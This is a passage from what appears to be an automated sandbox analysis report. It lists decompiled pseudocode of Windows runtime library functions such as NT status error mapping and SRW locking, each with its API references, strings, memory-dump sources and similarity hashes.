									if(_t39 < _t70) {
										_t84 = _t79 - 1;
										goto L11;
									} else {
										if(_t55 < ( *(0x6cdea304 + _t79 * 8) & 0x000000ff)) {
											_t46 =  *(0x6cdea306 + _t79 * 8) & 0x0000ffff;
											if( *((char*)(0x6cdea305 + _t79 * 8)) != 1) {
												_t39 = ( *(0x6cde8692 + (_t46 + _t55 * 2) * 2) & 0x0000ffff) << 0x00000010 |  *(0x6cde8690 + (_t46 + _t55 * 2) * 2) & 0x0000ffff;
											} else {
												_t39 =  *(0x6cde8690 + (_t46 + _t55) * 2) & 0x0000ffff;
											}
											goto L16;
										} else {
											_t90 = _t79 + 1;
											goto L11;
										}
									}
									goto L28;
									L11:
								} while (_t90 <= _t84);
								if((_t39 & 0xffff0000) == 0xc0010000) {
									L21:
									 *[fs:0x0] = _v20;
									return _t39 & 0x0000ffff;
								} else {
									E6CE0B150("RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping\n", _t39);
									E6CE0B150();
									E6CE0B150("RTL: ERROR_MR_MID_NOT_FOUND is being returned\n", "RTL: Edit ntos\\rtl\\generr.c to correct the problem\n");
									_t39 = 0x13d;
									goto L16;
								}
							}
						}
					}
				}
				L28:
			}

0x6ce0ccc5
0x6ce0ccc7
0x6ce0cccc
0x6ce0ccd7
0x6ce0ccde
0x6ce0cce3
0x6ce0cce8
0x6ce0ccec
0x6ce0ccf2
0x6ce0ccf5
0x6ce0ccfe
0x6ce64dc8
0x6ce0cd04
0x6ce0cd04
0x6ce0cd0b
0x6ce0cd0e
0x6ce0cd14
0x6ce0cd14
0x6ce0cd1d
0x6ce0cdca
0x6ce0cdd8
0x6ce0cd23
0x6ce0cd28
0x6ce0cde3
0x6ce0cdf1
0x6ce0cd2e
0x6ce0cd33
0x6ce0cdb1
0x6ce0cdb4
0x6ce0cdc2
0x6ce0cd35
0x6ce0cd43
0x6ce0ce10
0x6ce0ce19
0x6ce64dd6
0x00000000
0x6ce64ddc
0x00000000
0x6ce64ddc
0x00000000
0x00000000
0x00000000
0x6ce0cd49
0x6ce0cd49
0x6ce0cd57
0x6ce64de1
0x6ce64de1
0x6ce0cd5d
0x6ce0cd5f
0x6ce0cd64
0x6ce0cd67
0x6ce0cd69
0x6ce0cd72
0x6ce0cd76
0x6ce0cd90
0x00000000
0x6ce0cd78
0x6ce0cd82
0x6ce0cd95
0x6ce0cda5
0x6ce0ce0a
0x6ce0cda7
0x6ce0cda9
0x6ce0cda9
0x00000000
0x6ce0cd84
0x6ce0cd84
0x00000000
0x6ce0cd84
0x6ce0cd82
0x00000000
0x6ce0cd87
0x6ce0cd87
0x6ce64df9
0x6ce0ce1f
0x6ce0ce25
0x6ce0ce33
0x6ce64dff
0x6ce64e05
0x6ce64e0f
0x6ce64e1c
0x6ce64e24
0x00000000
0x6ce64e24
0x6ce64df9
0x6ce0cd43
0x6ce0cd33
0x6ce0cd28
0x00000000

APIs

DbgPrint.1105(RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping,?,?,?,-00000F38,00000000,?,?), ref: 6CE64E05
DbgPrint.1105(RTL: Edit ntos\rtl\generr.c to correct the problem,?,?,?,-00000F38,00000000,?,?), ref: 6CE64E0F
DbgPrint.1105(RTL: ERROR_MR_MID_NOT_FOUND is being returned,?,-00000F38,00000000,?,?), ref: 6CE64E1C

Strings

RTL: ERROR_MR_MID_NOT_FOUND is being returned, xrefs: 6CE64E17
RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping, xrefs: 6CE64E00
RTL: Edit ntos\rtl\generr.c to correct the problem, xrefs: 6CE64E0A

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: RTL: ERROR_MR_MID_NOT_FOUND is being returned$RTL: Edit ntos\rtl\generr.c to correct the problem$RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping
API String ID: 3558298466-1070408152
Opcode ID: a3718ffdb35146eef74b9cfb29964c3e5bf0d5f0db92aa5cbc6b6633461f6db0
Instruction ID: f3507752c9983ce46c8ab5b90c505f628b1944b9d0b0addc5bbf97389ed86201
Opcode Fuzzy Hash: a3718ffdb35146eef74b9cfb29964c3e5bf0d5f0db92aa5cbc6b6633461f6db0
Instruction Fuzzy Hash: CA41F576B042258AEB14DB59E8907BEBBB5E749318F30023FEA15C7F80D7395460C2E2

Uniqueness

Uniqueness Score: -1.00%

Function 6CE3645B, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 109
timeCOMMON

Download Yara Rule

C-Code - Quality: 26%

			E6CE3645B(void* __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v8;
				void* _v36;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				void _v60;
				int _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t48;
				intOrPtr _t49;
				intOrPtr _t50;
				intOrPtr* _t52;
				int _t56;
				void* _t69;
				int _t72;
				void* _t73;
				intOrPtr _t75;
				intOrPtr _t79;
				void* _t82;
				void* _t84;
				intOrPtr _t86;
				void* _t88;
				signed int _t90;
				signed int _t92;
				signed int _t93;

				_t80 = __edx;
				_t92 = (_t90 & 0xfffffff8) - 0x4c;
				_v8 =  *0x6cefd360 ^ _t92;
				_t72 = 0;
				_v72 = __edx;
				_t82 = __ecx;
				_t86 =  *((intOrPtr*)(__edx + 0xc8));
				_v68 = _t86;
				memset( &_v60, 0, 0x30);
				_t48 =  *((intOrPtr*)(_t82 + 0x70));
				_t93 = _t92 + 0xc;
				_v76 = _t48;
				_t49 = _t48;
				if(_t49 == 0) {
					_push(5);
					 *((char*)(_t82 + 0x6a)) = 0;
					 *((intOrPtr*)(_t82 + 0x6c)) = 0;
					goto L3;
				} else {
					_t69 = _t49 - 1;
					if(_t69 != 0) {
						if(_t69 == 1) {
							_push(0xa);
							goto L3;
						} else {
							_t56 = 0;
						}
					} else {
						_push(4);
						L3:
						_pop(_t50);
						_v80 = _t50;
						if(_a4 == _t72 && _t86 != 0 && _t50 != 0xa &&  *((char*)(_t82 + 0x6b)) == 1) {
							E6CE22280(_t50, _t86 + 0x1c);
							_t79 = _v72;
							 *((intOrPtr*)(_t79 + 0x20)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
							 *((intOrPtr*)(_t79 + 0x88)) =  *((intOrPtr*)(_t82 + 0x68));
							 *((intOrPtr*)(_t79 + 0x8c)) =  *((intOrPtr*)(_t82 + 0x6c));
							 *((intOrPtr*)(_t79 + 0x90)) = _v80;
							 *((intOrPtr*)(_t79 + 0x20)) = _t72;
							E6CE1FFB0(_t72, _t82, _t86 + 0x1c);
						}
						_t75 = _v80;
						_t52 =  *((intOrPtr*)(_v72 + 0x20));
						_t80 =  *_t52;
						_v72 =  *((intOrPtr*)(_t52 + 4));
						_v52 =  *((intOrPtr*)(_t82 + 0x68));
						_v60 = 0x30;
						_v56 = _t75;
						_v48 =  *((intOrPtr*)(_t82 + 0x6c));
						asm("movsd");
						_v76 = _t80;
						_v64 = 0x30;
						asm("movsd");
						asm("movsd");
						asm("movsd");
						if(_t80 != 0) {
							 *0x6cefb1e0(_t75, _v72,  &_v64,  &_v60);
							_t72 = _v76();
						}
						_t56 = _t72;
					}
				}
				_pop(_t84);
				_pop(_t88);
				_pop(_t73);
				return E6CE4B640(_t56, _t73, _v8 ^ _t93, _t80, _t84, _t88);
			}

0x6ce3645b
0x6ce36463
0x6ce3646d
0x6ce36475
0x6ce3647a
0x6ce3647e
0x6ce36480
0x6ce3648c
0x6ce36490
0x6ce36495
0x6ce36498
0x6ce3649b
0x6ce3649f
0x6ce364a1
0x6ce77c07
0x6ce77c09
0x6ce77c0c
0x00000000
0x6ce364a7
0x6ce364a7
0x6ce364aa
0x6ce77bf7
0x6ce77c00
0x00000000
0x6ce77bf9
0x6ce77bf9
0x6ce77bf9
0x6ce364b0
0x6ce364b0
0x6ce364b2
0x6ce364b2
0x6ce364b3
0x6ce364ba
0x6ce36553
0x6ce3655e
0x6ce36566
0x6ce3656c
0x6ce36575
0x6ce3657f
0x6ce36585
0x6ce36588
0x6ce36588
0x6ce364c7
0x6ce364cb
0x6ce364ce
0x6ce364d3
0x6ce364da
0x6ce364e5
0x6ce364ed
0x6ce364f1
0x6ce364f5
0x6ce364f6
0x6ce364fa
0x6ce36502
0x6ce36503
0x6ce36504
0x6ce36507
0x6ce3651a
0x6ce36524
0x6ce36524
0x6ce36526
0x6ce36526
0x6ce364aa
0x6ce3652c
0x6ce3652d
0x6ce3652e
0x6ce36539

APIs

memset.1105(?,00000000,00000030,?,00000000,00000000), ref: 6CE36490
RtlDebugPrintTimes.1105(?,00000030,00000030,00000030), ref: 6CE3651A
RtlAcquireSRWLockExclusive.1105(?,?,00000000,00000000), ref: 6CE36553
RtlReleaseSRWLockExclusive.1105(?,?,?,00000000,00000000), ref: 6CE36588

Strings

0, xrefs: 6CE364FA
0, xrefs: 6CE364E5

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireDebugPrintReleaseTimesmemset
String ID: 0$0
API String ID: 3207447552-203156872
Opcode ID: 312868c014ef96e65c1494f8e00131204eb366329cfa187b9ab2d31bd49b0ed2
Instruction ID: add30fa4dfef2f04ae8079b3bb3a7adbeb781b3f2eb74581ba74ee78aa687b4a
Opcode Fuzzy Hash: 312868c014ef96e65c1494f8e00131204eb366329cfa187b9ab2d31bd49b0ed2
Instruction Fuzzy Hash: A2415CB1A08755AFC300CF28C444A56BBF8FB89718F144A6EF488DB700D731EA05CB96

Uniqueness

Uniqueness Score: -1.00%

Function 6CE04510, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E6CE04510(signed int _a4) {
				signed int _t25;
				unsigned int _t28;
				intOrPtr _t32;
				signed int _t40;
				void* _t46;
				signed int _t47;
				signed int _t52;
				void* _t53;
				signed int _t55;

				_t47 = _a4;
				if(_t47 == 0) {
					return 0;
				}
				if(_t47 == 0x103) {
					return 0x3e5;
				}
				_t25 = _t47;
				if((_t47 & 0x20000000) == 0) {
					if((_t25 & 0x00ff0000) == 0x70000) {
						_t28 = _t47 >> 0x18;
						if(_t28 == 0xc0 || _t28 == 0x80) {
							L20:
							return _t47 & 0x0000ffff;
						} else {
							goto L4;
						}
					}
					L4:
					if((_t47 & 0xf0000000) == 0xd0000000) {
						_t47 = _t47 & 0xcfffffff;
					}
					_t53 = 0;
					_t46 = 0x11e;
					do {
						_t52 = _t46 + _t53 >> 1;
						_t32 =  *((intOrPtr*)(0x6cdea300 + _t52 * 8));
						_t55 = _t47 - _t32;
						if(_t47 < _t32) {
							_t10 = _t52 - 1; // -1
							_t46 = _t10;
							goto L10;
						}
						if(_t55 < ( *(0x6cdea304 + _t52 * 8) & 0x000000ff)) {
							_t40 =  *(0x6cdea306 + _t52 * 8) & 0x0000ffff;
							if( *((char*)(0x6cdea305 + _t52 * 8)) != 1) {
								return ( *(0x6cde8692 + (_t40 + _t55 * 2) * 2) & 0x0000ffff) << 0x00000010 |  *(0x6cde8690 + (_t40 + _t55 * 2) * 2) & 0x0000ffff;
							}
							return  *(0x6cde8690 + (_t40 + _t55) * 2) & 0x0000ffff;
						}
						_t9 = _t52 + 1; // 0x1
						_t53 = _t9;
						L10:
					} while (_t53 <= _t46);
					if((_t47 & 0xffff0000) == 0xc0010000) {
						goto L20;
					}
					E6CE0B150("RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping\n", _t47);
					E6CE0B150();
					E6CE0B150("RTL: ERROR_MR_MID_NOT_FOUND is being returned\n", "RTL: Edit ntos\\rtl\\generr.c to correct the problem\n");
					return 0x13d;
				}
				return _t25;
			}

0x6ce04515
0x6ce0451d
0x00000000
0x6ce045b6
0x6ce04529
0x00000000
0x6ce608b5
0x6ce0452f
0x6ce04537
0x6ce04543
0x6ce608c1
0x6ce608c9
0x6ce608d6
0x00000000
0x00000000
0x00000000
0x00000000
0x6ce608c9
0x6ce04549
0x6ce04555
0x6ce045ba
0x6ce045ba
0x6ce04557
0x6ce04559
0x6ce0455e
0x6ce04563
0x6ce04565
0x6ce0456c
0x6ce04570
0x6ce04583
0x6ce04583
0x00000000
0x6ce04583
0x6ce0457c
0x6ce04597
0x6ce0459f
0x00000000
0x6ce6092f
0x00000000
0x6ce045a7
0x6ce0457e
0x6ce0457e
0x6ce04586
0x6ce04586
0x6ce608ea
0x00000000
0x00000000
0x6ce608f2
0x6ce608fc
0x6ce60909
0x00000000
0x6ce6090f
0x6ce045b3

APIs

DbgPrint.1105(RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping,?,?,?,00000000,?,6CE73AE2,C000000D,?,?,?,00000000,?,00000000,?,?), ref: 6CE608F2
DbgPrint.1105(RTL: Edit ntos\rtl\generr.c to correct the problem,RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping,?,?,?,00000000,?,6CE73AE2,C000000D,?,?,?,00000000,?,00000000,?), ref: 6CE608FC
DbgPrint.1105(RTL: ERROR_MR_MID_NOT_FOUND is being returned,?,?,?,00000000,?,00000000,?,?,?,00000000,?,00000000,?), ref: 6CE60909

Strings

RTL: ERROR_MR_MID_NOT_FOUND is being returned, xrefs: 6CE60904
RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping, xrefs: 6CE608ED
RTL: Edit ntos\rtl\generr.c to correct the problem, xrefs: 6CE608F7

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: RTL: ERROR_MR_MID_NOT_FOUND is being returned$RTL: Edit ntos\rtl\generr.c to correct the problem$RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping
API String ID: 3558298466-1070408152
Opcode ID: 7c662e1ccfed69488a728a3b5462341f769857f67418b9d5ee5bb00a5e19dbae
Instruction ID: e89c5444a5060e5a6ecb3a8d789901bccb79a6294f936033e9b7b686cfd593a3
Opcode Fuzzy Hash: 7c662e1ccfed69488a728a3b5462341f769857f67418b9d5ee5bb00a5e19dbae
Instruction Fuzzy Hash: 3C214533B241268AF714966ED88077973B6D75A34CF30022BE614D6FD1DA28C8B1C2E6

Uniqueness

Uniqueness Score: -1.00%

Function 6CECD8DF, Relevance: 9.2, APIs: 6, Instructions: 160
timeCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E6CECD8DF(signed int __ecx, signed int __edx, signed int _a4, intOrPtr _a8, signed int _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				unsigned int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t63;
				signed int _t65;
				signed int _t79;
				signed char _t86;
				unsigned int _t96;
				intOrPtr _t99;
				unsigned int _t101;
				unsigned int _t105;
				signed int _t106;

				_t94 = __edx;
				_v8 =  *0x6cefd360 ^ _t106;
				_v24 = _v24 & 0x00000000;
				_t57 = __ecx;
				_t79 = _a4;
				_v12 = __ecx;
				_t96 = _t79 >> 0x1f;
				_t101 = __edx;
				_v16 = __edx;
				_v36 = _t79;
				_v32 = _t79;
				_v20 = _t96;
				if(_t96 == 0) {
					if(_t79 == 0) {
						goto L34;
					}
					goto L3;
				} else {
					_t79 = 1;
					L3:
					if(( *0x6cef610c & 0x00000020) == 0 || _t96 != 0) {
						L14:
						_t57 =  *(_t101 + 0x1d) & 0x000000ff;
						if(_t79 >= ( *(_t101 + 0x1d) & 0x000000ff)) {
							goto L34;
						} else {
							goto L15;
						}
						while(1) {
							L15:
							_t94 = _t79;
							_t85 = _t101;
							_t79 = E6CECDA9B(_t101, _t79,  &_v28);
							_a4 = _t79;
							if(_t79 == 0xffffffff) {
								break;
							}
							_t63 = _v28;
							if(_t63 >= _a8) {
								if(_v24 != 0) {
									_t86 =  *(_t101 + 0x1c) & 0x000000ff;
									_t79 = _t79 << _t86;
									_t65 = _v12;
									 *0x6cefb1e0( *_t65, _t79 + _t101, _t63 << _t86);
									 *( *(_t65 + 0x10) ^  *0x6cef6110 ^ _t65)();
									asm("lock xadd [eax], ecx");
									_t101 = _v16;
									_t94 = _t79;
									_t85 = _t101;
									E6CECD864(_t101, _t79, _t63 << _t86, 1, 0);
									_t96 = _v20;
									if(_t96 == 0) {
										break;
									}
									_t79 = _a4 + _v28;
									L26:
									if(_t79 < ( *(_t101 + 0x1d) & 0x000000ff)) {
										continue;
									}
									break;
								}
								if((_a12 & 0x00000001) == 0) {
									E6CE2FAD0(_v12 + 0x34);
								}
								_v24 = 2;
								if(_v32 != 0xfffffffe) {
									E6CE22280(_t101 + 0xc, _t101 + 0xc);
								}
								goto L26;
							}
							if(_t96 == 0) {
								break;
							}
							_t79 = _t79 + _t63;
							goto L26;
						}
						_t57 = _v24;
						if(_t57 != 0) {
							if(_v36 != 0xfffffffe) {
								_push(_t101);
								if(_t57 != 2) {
									_t57 = E6CE2FA00(_t79, _t85, _t96);
								} else {
									_t57 = E6CE1FFB0(_t79, _t96);
								}
							}
							if((_a12 & 0x00000001) == 0) {
								_t57 = E6CE2FA00(_t79, _t85, _t96, _v12 + 0x34);
							}
						}
						goto L34;
					} else {
						_t94 =  *_t57;
						if(( *(_t94 + 9) & 0x00000001) != 0) {
							goto L14;
						} else {
							_t99 =  *((intOrPtr*)(_t94 + 0x28));
							_t105 =  *(_t99 + 4);
							_t57 = _t105 >>  *(_t94 + 7);
							if(_t57 <= 8) {
								_t57 = 8;
							}
							_t101 = _t105 >>  *(_t94 + 8);
							if(_t101 <= 8) {
								_t101 = 8;
							}
							_t96 =  *((intOrPtr*)(_t99 + 8)) +  *((intOrPtr*)( *((intOrPtr*)(_t94 + 0x28)) + 0xc));
							if(_t96 <= _t57 || E6CEADA47(_t79, _t96) >= 0) {
								if(_t96 <= _t101) {
									L34:
									return E6CE4B640(_t57, _t79, _v8 ^ _t106, _t94, _t96, _t101);
								}
								goto L13;
							} else {
								L13:
								_t96 = _v20;
								_t101 = _v16;
								goto L14;
							}
						}
					}
				}
			}

0x6cecd8df
0x6cecd8ee
0x6cecd8f1
0x6cecd8f5
0x6cecd8f8
0x6cecd8ff
0x6cecd902
0x6cecd905
0x6cecd907
0x6cecd90a
0x6cecd90d
0x6cecd910
0x6cecd915
0x6cecd91e
0x00000000
0x00000000
0x00000000
0x6cecd917
0x6cecd919
0x6cecd924
0x6cecd92b
0x6cecd97f
0x6cecd97f
0x6cecd985
0x00000000
0x00000000
0x00000000
0x00000000
0x6cecd98b
0x6cecd98b
0x6cecd98e
0x6cecd991
0x6cecd998
0x6cecd99a
0x6cecd9a0
0x00000000
0x00000000
0x6cecd9a6
0x6cecd9ac
0x6cecd9c1
0x6cecd9ed
0x6cecd9f3
0x6cecd9fc
0x6cecda0e
0x6cecda14
0x6cecda26
0x6cecda2a
0x6cecda2d
0x6cecda34
0x6cecda36
0x6cecda3b
0x6cecda40
0x00000000
0x00000000
0x6cecda45
0x6cecda48
0x6cecda4e
0x00000000
0x00000000
0x00000000
0x6cecda4e
0x6cecd9c7
0x6cecd9d0
0x6cecd9d0
0x6cecd9d9
0x6cecd9e0
0x6cecd9e6
0x6cecd9e6
0x00000000
0x6cecd9e0
0x6cecd9b0
0x00000000
0x00000000
0x6cecd9b6
0x00000000
0x6cecd9b6
0x6cecda54
0x6cecda59
0x6cecda5f
0x6cecda64
0x6cecda68
0x6cecda71
0x6cecda6a
0x6cecda6a
0x6cecda6a
0x6cecda68
0x6cecda7a
0x6cecda83
0x6cecda83
0x6cecda7a
0x00000000
0x6cecd931
0x6cecd931
0x6cecd937
0x00000000
0x6cecd939
0x6cecd939
0x6cecd93f
0x6cecd944
0x6cecd949
0x6cecd94d
0x6cecd94d
0x6cecd951
0x6cecd956
0x6cecd95a
0x6cecd95a
0x6cecd961
0x6cecd966
0x6cecd973
0x6cecda88
0x6cecda98
0x6cecda98
0x00000000
0x6cecd979
0x6cecd979
0x6cecd979
0x6cecd97c
0x00000000
0x6cecd97c
0x6cecd966
0x6cecd937
0x6cecd92b

APIs

RtlAcquireSRWLockShared.1105(?,000000FE,?,?,?,?,6CECC9F8,000000FE), ref: 6CECD9D0
RtlAcquireSRWLockExclusive.1105(?,000000FE,?,?,?), ref: 6CECD9E6
RtlDebugPrintTimes.1105(?,?,?,000000FE,?,?,?,?,6CECC9F8,000000FE), ref: 6CECDA0E
RtlReleaseSRWLockExclusive.1105(?,000000FE,?,?,?), ref: 6CECDA6A
RtlReleaseSRWLockShared.1105(?,000000FE,?,?,?), ref: 6CECDA71
RtlReleaseSRWLockShared.1105(?,000000FE,?,?,?), ref: 6CECDA83

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: Lock$ReleaseShared$AcquireExclusive$DebugPrintTimes
String ID:
API String ID: 675604559-0
Opcode ID: 40129da501c61044ad62e181fe117ad9ca05fbee482023e321af73327d26dd59
Instruction ID: 3d301bb18dec9dab36a41ed02441bdc38f2eaf288e69291f397cf131054b3d3a
Opcode Fuzzy Hash: 40129da501c61044ad62e181fe117ad9ca05fbee482023e321af73327d26dd59
Instruction Fuzzy Hash: 1B51117AB442189BCB00CFA8C98079EB7B5AF8672CF354259D834A7781C771DA41CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6CE05320, Relevance: 9.1, APIs: 6, Instructions: 91
timeCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E6CE05320(void* __ecx, signed int _a4) {
				signed int _v8;
				intOrPtr _v12;
				signed int _v20;
				signed int _v21;
				signed int _v25;
				signed int _v32;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t42;
				signed int _t48;
				signed int _t59;
				void* _t63;
				intOrPtr _t64;
				signed int _t65;
				intOrPtr* _t66;
				intOrPtr* _t70;
				signed int _t72;
				void* _t74;
				intOrPtr* _t75;
				void* _t76;
				signed int _t78;
				void* _t79;
				signed int _t80;
				void* _t85;

				_t82 = (_t80 & 0xfffffff8) - 0x14;
				_v8 =  *0x6cefd360 ^ (_t80 & 0xfffffff8) - 0x00000014;
				_t78 = _a4;
				_push(_t75);
				if(_t78 == 0 || _t78 >= 0x80) {
					L17:
					_t42 = 0xc000000d;
					goto L13;
				} else {
					_t64 =  *((intOrPtr*)( *[fs:0x18] + 0x30));
					_v12 = _t64;
					E6CE22280( *[fs:0x18], 0x6cef85f0);
					_t70 =  *((intOrPtr*)(_t64 + 0x218));
					_t85 = _t78 -  *_t70;
					if(_t85 >= 0) {
						_t65 = 0;
						L11:
						E6CE1FFB0(_t65, _t75, 0x6cef85f0);
						if(_t65 == 0) {
							goto L17;
						}
						_t42 = 0;
						L13:
						_pop(_t76);
						_pop(_t79);
						_pop(_t63);
						return E6CE4B640(_t42, _t63, _v8 ^ _t82, _t74, _t76, _t79);
					}
					asm("bt [eax], esi");
					_t48 =  *(_t70 + 4) & 0xffffff00 | _t85 > 0x00000000;
					_v21 = _t48;
					if(_t48 == 0) {
						_t65 = _t48;
						goto L11;
					}
					E6CE3A990(_t70, _t78, 1);
					_v32 =  *( *((intOrPtr*)(_t64 + 0x20c)) + _t78 * 8);
					E6CE22280( &(( *((intOrPtr*)(_t64 + 0x20c)) + _t78 * 8)[1]),  &(( *((intOrPtr*)(_t64 + 0x20c)) + _t78 * 8)[1]));
					_t72 = _t64 + 0x210;
					_t75 =  *_t72;
					_v32 = _t72;
					if(_t75 == _t72) {
						L10:
						 *( *((intOrPtr*)(_t64 + 0x20c)) + _t78 * 8) =  *( *((intOrPtr*)(_t64 + 0x20c)) + _t78 * 8) & 0x00000000;
						E6CE1FFB0(_t64, _t75,  &(( *((intOrPtr*)(_t64 + 0x20c)) + _t78 * 8)[1]));
						_t65 = _v25;
						goto L11;
					}
					_t66 = _v20;
					do {
						if(_t66 != 0) {
							_t59 =  *(_t75 + 8 + _t78 * 4);
							if(_t59 != 0) {
								 *0x6cefb1e0(_t59);
								 *_t66();
								_t72 = _v20;
							}
						}
						 *(_t75 + 8 + _t78 * 4) =  *(_t75 + 8 + _t78 * 4) & 0x00000000;
						_t75 =  *_t75;
					} while (_t75 != _t72);
					_t64 = _v12;
					goto L10;
				}
			}

0x6ce05328
0x6ce05332
0x6ce05338
0x6ce0533b
0x6ce0533e
0x6ce05438
0x6ce05438
0x00000000
0x6ce05350
0x6ce0535b
0x6ce0535e
0x6ce05362
0x6ce05367
0x6ce0536d
0x6ce0536f
0x6ce05430
0x6ce053fb
0x6ce05400
0x6ce05407
0x00000000
0x00000000
0x6ce05409
0x6ce0540b
0x6ce0540f
0x6ce05410
0x6ce05411
0x6ce0541c
0x6ce0541c
0x6ce05378
0x6ce0537b
0x6ce0537e
0x6ce05384
0x6ce05434
0x00000000
0x6ce05434
0x6ce0538e
0x6ce053a2
0x6ce053a7
0x6ce053ac
0x6ce053b2
0x6ce053b4
0x6ce053ba
0x6ce053db
0x6ce053e1
0x6ce053f2
0x6ce053f7
0x00000000
0x6ce053f7
0x6ce053bc
0x6ce053c0
0x6ce053c2
0x6ce053c4
0x6ce053ca
0x6ce05422
0x6ce05428
0x6ce0542a
0x6ce0542a
0x6ce053ca
0x6ce053cc
0x6ce053d1
0x6ce053d3
0x6ce053d7
0x00000000
0x6ce053d7

APIs

RtlAcquireSRWLockExclusive.1105(6CEF85F0), ref: 6CE05362
RtlClearBits.1105(?,?,00000001,6CEF85F0), ref: 6CE0538E
RtlAcquireSRWLockExclusive.1105(?,?,?,00000001,6CEF85F0), ref: 6CE053A7

Part of subcall function 6CE22280: RtlDllShutdownInProgress.1105(00000000), ref: 6CE222BA
Part of subcall function 6CE22280: ZwWaitForAlertByThreadId.1105(?,00000000,?,?,?,?,?,?,?,00000000), ref: 6CE223A3

RtlReleaseSRWLockExclusive.1105(?,?,?,?,00000001,6CEF85F0), ref: 6CE053F2
RtlReleaseSRWLockExclusive.1105(6CEF85F0,6CEF85F0), ref: 6CE05400
RtlDebugPrintTimes.1105(?,?,?,?,00000001,6CEF85F0), ref: 6CE05422

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireRelease$AlertBitsClearDebugPrintProgressShutdownThreadTimesWait
String ID:
API String ID: 3225401293-0
Opcode ID: 5a689f271ed70a1605ca7a79d23f148a35a9596085877d8ed19f8cc67126a24a
Instruction ID: 737013a2a2205bf7f64875d73b98ed384c738f7d46b0e08b9c5645efaa3f81b1
Opcode Fuzzy Hash: 5a689f271ed70a1605ca7a79d23f148a35a9596085877d8ed19f8cc67126a24a
Instruction Fuzzy Hash: 1F3121723063459FCB00CF68C480A9AB3B4BF46318F65096DE8568FB42CB34E819CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 6CE10225, Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 79
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E6CE10225(void* __ebx, intOrPtr __ecx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _v4;
				signed int _v8;
				unsigned int _v12;
				signed int _v16;
				unsigned int _v20;
				intOrPtr _v24;
				intOrPtr* _v28;
				intOrPtr _v32;
				char _v36;
				char _v64;
				intOrPtr _v68;
				char _v72;
				intOrPtr* _t94;
				intOrPtr* _t97;
				char _t98;
				signed int _t108;
				signed short _t112;
				int _t113;
				void* _t116;
				void* _t123;
				void* _t126;
				signed int _t129;
				void* _t137;
				intOrPtr _t145;
				signed short _t146;
				intOrPtr _t150;
				signed int _t151;
				void* _t156;
				signed int _t158;
				unsigned int _t160;
				signed int _t165;
				intOrPtr* _t176;
				signed int _t178;
